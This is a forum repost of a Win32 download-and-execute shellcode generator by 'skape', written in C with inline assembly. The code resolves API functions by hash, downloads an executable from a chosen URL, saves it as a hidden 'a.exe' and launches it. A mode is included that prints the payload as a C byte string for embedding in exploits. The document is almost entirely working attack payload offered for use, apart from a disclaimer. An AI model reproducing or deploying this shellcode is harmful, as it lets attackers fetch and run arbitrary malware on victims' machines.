文章作者:
mmiller@hick.org复制内容到剪贴板
代码:
/*
* Generic download/execute shellcode for win32.
*
* Overview
*
* Download an executable from a URL and execute it.
*
* Targets
*
* 95/98/ME/NT/2K/XP
*
* Usage
*
* $ download.exe
* Usage: download.exe [test | cstyle] [url]
*
* To generate usable code:
*
* $ download.exe cstyle [url]http://www.mysite.com/joe.exe[/url]
*
* The 'test' option will download a harmless executable
* from '[url]http://www.hick.org/~mmiller/bob.exe[/url]' and run it.
*
* Notes
*
* 1) URL's must start with a protocol (like http).
* 2) The code must run on an writable segment due to one of the symbol
* hashes having a NULL.
*
* Disclaimer
*
* The author cannot be held responsible for how this code is used.
*
* Compile
*
* Optional defines
*
* /DUSE_KERNEL32_METHOD_PEB Resolve kernel32 using the PEB technique.
* /DUSE_KERNEL32_METHOD_SEH Resolve kernel32 using the SEH technique.
* /DUSE_KERNEL32_METHOD_TOPSTACK Resolve kernel32 using the TOPSTACK technique.
*
* cl download.c /link /debug
*
* skape
* [email]mmiller@hick.org[/email]
*/
#include <stdio.h>
#pragma warning(disable: 4068)
#define EMIT_4_LITTLE_ENDIAN(a,b,c,d) __asm _emit a __asm _emit b __asm _emit c __asm _emit d
void __declspec(naked) download_begin()
{
__asm
{
download:
jmp initialize_url_bnc_1 // Jump to the first bounce point
#include "generic.c"
initialize_url_bnc_1:
jmp initialize_url_bnc_2 // Jump to the second bounce point
resolve_symbols_for_dll:
lodsd // Load the current dword from esi into eax
push eax // Push the hash as the second argument to find_function
push edx // Push the base address of the current dll being loaded from
call find_function // Call find_function
mov [edi], eax // Store the return address in the current output buffer pointer
add esp, 0x08 // Restore eight bytes to the stack.
add edi, 0x04 // Add 4 bytes to the output buffer to move to the next slot
cmp esi, ecx // Have we reached the end?
jne resolve_symbols_for_dll // If not, continue loading
resolve_symbols_for_dll_finished:
ret // Return to the caller
kernel32_symbol_hashes:
EMIT_4_LITTLE_ENDIAN(0x8e,0x4e,0x0e,0xec) // LoadLibraryA 0x04
EMIT_4_LITTLE_ENDIAN(0xa5,0x17,0x01,0x7c) // CreateFile 0x08 0x01 -> 0x00
EMIT_4_LITTLE_ENDIAN(0x1f,0x79,0x0a,0xe8) // WriteFile 0x0c
EMIT_4_LITTLE_ENDIAN(0xfb,0x97,0xfd,0x0f) // CloseHandle 0x10
EMIT_4_LITTLE_ENDIAN(0x72,0xfe,0xb3,0x16) // CreateProcessA 0x14
EMIT_4_LITTLE_ENDIAN(0x7e,0xd8,0xe2,0x73) // ExitProcess 0x18
wininet_symbol_hashes:
EMIT_4_LITTLE_ENDIAN(0x29,0x44,0xe8,0x57) // InternetOpenA 0x1c
EMIT_4_LITTLE_ENDIAN(0x49,0xed,0x0f,0x7e) // InternetOpenUrlA 0x20
EMIT_4_LITTLE_ENDIAN(0x8b,0x4b,0xe3,0x5f) // InternetReadFile 0x24
startup:
pop esi // Grab the address of the download url from the stack
sub esp, 0x7c // Give us some room to work.
mov ebp, esp // Use ebp as our frame pointer.
call find_kernel32 // Find the base address of kernel32.dll
mov edx, eax // Save it in edx
jmp get_absolute_address_forward // Jump forward past the middle
get_absolute_address_middle:
jmp get_absolute_address_end // Jump to the end now that we have our VMA on the stack
get_absolute_address_forward:
call get_absolute_address_middle // Call to the middle to push the VMA of 'pop eax' onto the stack
get_absolute_address_end:
pop eax // Pop the return address from the stack into eax
jmp initialize_url_bnc_2_skip // Jump over the second bounce point
initialize_url_bnc_2:
jmp initialize_url_bnc_3 // Jump to bounce point 3
initialize_url_bnc_2_skip:
copy_download_url:
lea edi, [ebp + 0x40] // Set edi to the destination that will hold the URL
copy_download_url_loop:
movsb // Copy the current byte of the URL to the stack
cmp byte ptr [esi - 0x01], 0xff // Have we hit 0xff yet?
jne copy_download_url_loop // Nope...keep going
copy_download_url_finished:
dec edi // Decrement edi to point to the last byte
not byte ptr [edi] // Invert the bits to point null terminate the string
resolve_kernel32_symbols:
mov esi, eax // Set esi to the absolute VMA of 'pop eax'
sub esi, 0x3a // Subtract 0x3a to offset to the start of the hashes
dec [esi + 0x06] // Fix the CreateFile hash to have a null (Note: requires writable segment)
lea edi, [ebp + 0x04] // Load the effective address of the output buffer to hold the VMA's of the functions
mov ecx, esi // Set ecx to the start of the hashes
add ecx, 0x18 // Add 0x18 to signify the end point
call resolve_symbols_for_dll // Resolve the kernel32.dll symbols
resolve_wininet_symbols:
add ecx, 0x0c // Add 0x0c to ecx to signify the end of the wininet.dll symbol hashes
mov eax, 0x74656e01 // Set eax to '\0x01net'
sar eax, 0x08 // Shift eax to the right 8 bits to add a null term
push eax // Push 'net'
push 0x696e6977 // Push 'wini'
mov ebx, esp // Save the pointer to 'wininet' in ebx
push ecx // Preserve ecx as it may be clobbered
push edx // Preserve edx as it may be clobbered
push ebx // Push the pointer to 'wininet'
call [ebp + 0x04] // Call LoadLibraryA
pop edx // Restore edx
pop ecx // Restore ecx
mov edx, eax // Set edx to the base address of wininet.dll
call resolve_symbols_for_dll // Resolve the symbols for wininet.dll
internet_open:
xor eax, eax // Zero eax
push eax // Flags
push eax // Proxy bypass
push eax // Proxy name
push eax // Access type
push eax // Agent name
call [ebp + 0x1c] // Call InternetOpenA
mov [ebp + 0x34], eax // Save the handle
internet_open_url:
xor eax, eax // Zero eax
push eax // Context
push eax // Flags
push eax // Headers length
push eax // Headers
lea ebx, [ebp + 0x40] // Load the url address
push ebx // Url
push [ebp + 0x34] // InternetOpen handle
call [ebp + 0x20] // Call InternetOpenUrlA
mov [ebp + 0x38], eax // Save the handle
jmp initialize_url_bnc_3_skip // Jump past the 3rd bounce point
initialize_url_bnc_3:
jmp initialize_url_bnc_4 // Jump past the 4th bounce point
initialize_url_bnc_3_skip:
create_file:
xor eax, eax // Zero eax
mov al, 0x65 // Set the low order byte of eax to 'e'
push eax // Push 'e'
push 0x78652e61 // Push 'a.ex'
mov [ebp + 0x30], esp // Save the address of 'a.exe'
xor eax, eax // Zero eax
push eax // Template
mov al, 0x82 // Set the flags to (FILE_ATTRIBUTE_NORMAL | FILE_ATTRIBUTE_HIDDEN)
push eax // Flags
mov al, 0x02 // Set the disposition to CREATE_ALWAYS
push eax // Disposition
xor al, al // Zero al
push eax // Security attributes
push eax // Share mode
mov al, 0x40 // Set al to 0x40
sal eax, 0x18 // Shift to the left 18 bits
push eax // Desired access (GENERIC_WRITE)
push [ebp + 0x30] // File name
call [ebp + 0x08] // Call CreateFileA
mov [ebp + 0x3c], eax // Save the file handle
download_begin:
xor eax, eax // Zero eax
mov ax, 0x010c // Set eax to 268
sub esp, eax // Allocate 268 bytes of stackspace
mov esi, esp // We'll use esi to track this frame
download_loop:
lea ebx, [esi + 0x04] // Load the address of our spot to holde bytes read into eax
push ebx // Push our bytes read pointer
mov ax, 0x0104 // Set eax to 260
push eax // We desire to read 260 bytes
lea eax, [esi + 0x08] // Load the address of our buffer to hold data in
push eax // Buffer
push [ebp + 0x38] // Handle from InternetOpenUrlA
call [ebp + 0x24] // Call InternetReadFile
mov eax, [esi + 0x04] // Grab the number of bytes we read
test eax, eax // We're testing to see if it's zero..
jz download_finished // If the ZF is set, we're done.
download_write_file:
xor eax, eax // Zero eax
push eax // Overlapped
lea eax, [esi + 0x04] // Load the address of our bytes written pointer
push eax // Bytes written pointer
push [esi + 0x04] // Bytes to write
lea eax, [esi + 0x08] // Load the address of the buffer we just read data into
push eax // Buffer
push [ebp + 0x3c] // File handle
call [ebp + 0x0c] // Call WriteFile
jmp download_loop // Keep downloading
download_finished:
push [ebp + 0x3c] // File handle
call [ebp + 0x10] // Call CloseHandle
xor eax, eax // Zero eax
mov ax, 0x010c // Set eax to 268
add esp, eax // Restore the stack
jmp initialize_url_bnc_4_skip // Jump past bounce point 4
initialize_url_bnc_4:
jmp initialize_url_bnc_end // Jump to the last bouncepoint
initialize_url_bnc_4_skip:
initialize_process:
xor ecx, ecx // Zero ecx
mov cl, 0x54 // Set ecx to 0x54
sub esp, ecx // Make room for STARTUPINFO(0x44)/PROCESS_INFORMATION(0x10)
mov edi, esp // Preserve in edi
zero_structs:
xor eax, eax // We want to store 0
rep stosb // Repeat storing zero until ecx is 0
initialize_structs:
mov edi, esp // Restore edi
mov byte ptr [edi], 0x44 // Set cb to 0x44
execute_process:
lea esi, [edi + 0x44] // Load the address of our PROCESS_INFORMATION starting point
push esi // PROCESS_INFORMATION
push edi // STARTUPINFO
push eax // Startup Directory
push eax // Environment
push eax // Creation flags
push eax // Inherit handles
push eax // Thread attributes
push eax // Process attributes
push [ebp + 0x30] // Command line
push eax // Module name
call [ebp + 0x14] // Call CreateProcess
exit_process:
call [ebp + 0x18] // Call ExitProcess
initialize_url_bnc_end:
call startup // Call startup, pushing the pointer to the URL onto the stack
}
}
void __declspec(naked) download_end()
{
// [url]http://www.hick.org/~mmiller/bob.exe[/url]
__asm
{
__emit 0x68
__emit 0x74
__emit 0x74
__emit 0x70
__emit 0x3a
__emit 0x2f
__emit 0x2f
__emit 0x77
__emit 0x77
__emit 0x77
__emit 0x2e
__emit 0x68
__emit 0x69
__emit 0x63
__emit 0x6b
__emit 0x2e
__emit 0x6f
__emit 0x72
__emit 0x67
__emit 0x2f
__emit 0x7e
__emit 0x6d
__emit 0x6d
__emit 0x69
__emit 0x6c
__emit 0x6c
__emit 0x65
__emit 0x72
__emit 0x2f
__emit 0x62
__emit 0x6f
__emit 0x62
__emit 0x2e
__emit 0x65
__emit 0x78
__emit 0x65
__emit 0xff
}
}
void __declspec(naked) download_end_end()
{
__asm ret
}
int main(int argc, char **argv)
{
if (argc == 1)
{
fprintf(stdout, "Usage: %s [test | cstyle] [url]\n", argv[0]);
return 0;
}
if (!strcmp(argv[1], "test"))
{
unsigned char *start = (unsigned char *)((unsigned char *)download_begin);
unsigned char *stop = (unsigned char *)((unsigned char *)download_end_end);
unsigned char *buf;
unsigned long length;
start += *(unsigned long *)((unsigned char *)download_begin + 1) + 5;
stop += *(unsigned long *)((unsigned char *)download_end_end + 1) + 5;
length = stop - start;
buf = (unsigned char *)malloc(length);
if (!buf)
return 0;
memcpy(buf, start, length);
((void (*)())buf)();
}
else if (!strcmp(argv[1], "cstyle"))
{
unsigned long urlLength = ((argc == 3) ? strlen(argv[2]) : 0);
unsigned char *start = (unsigned char *)((unsigned char *)download_begin);
unsigned char *stop = (unsigned char *)((unsigned char *)download_end);
unsigned char *stopNoUrl = (unsigned char *)((unsigned char *)download_end_end);
unsigned char *c = NULL;
unsigned long x = 0, length;
// Calculate the actual address in memory of the begin/end function based off their relative jmp points.
start += *(unsigned long *)((unsigned char *)download_begin + 1) + 5;
stop += *(unsigned long *)((unsigned char *)download_end + 1) + 5;
stopNoUrl += *(unsigned long *)((unsigned char *)download_end_end + 1) + 5;
length = stop - start;
// Include the default url if none was supplied
if (!urlLength)
length += stopNoUrl - stop;
fprintf(stdout, "// %lu byte download/execute shellcode\n\n", length + urlLength + 1);
fprintf(stdout, "unsigned char download[] = \"");
for (c = start;
x < length;
x++)
fprintf(stdout, "\\x%2.2x", c[x]);
if (urlLength)
{
for (x = 0;
x < urlLength;
x++)
fprintf(stdout, "\\x%2.2x", argv[2][x]);
fprintf(stdout, "\\xff");
}
fprintf(stdout, "\";\n\n");
}
else
fprintf(stdout, "%s: invalid option\n", argv[0]);
return 1;
}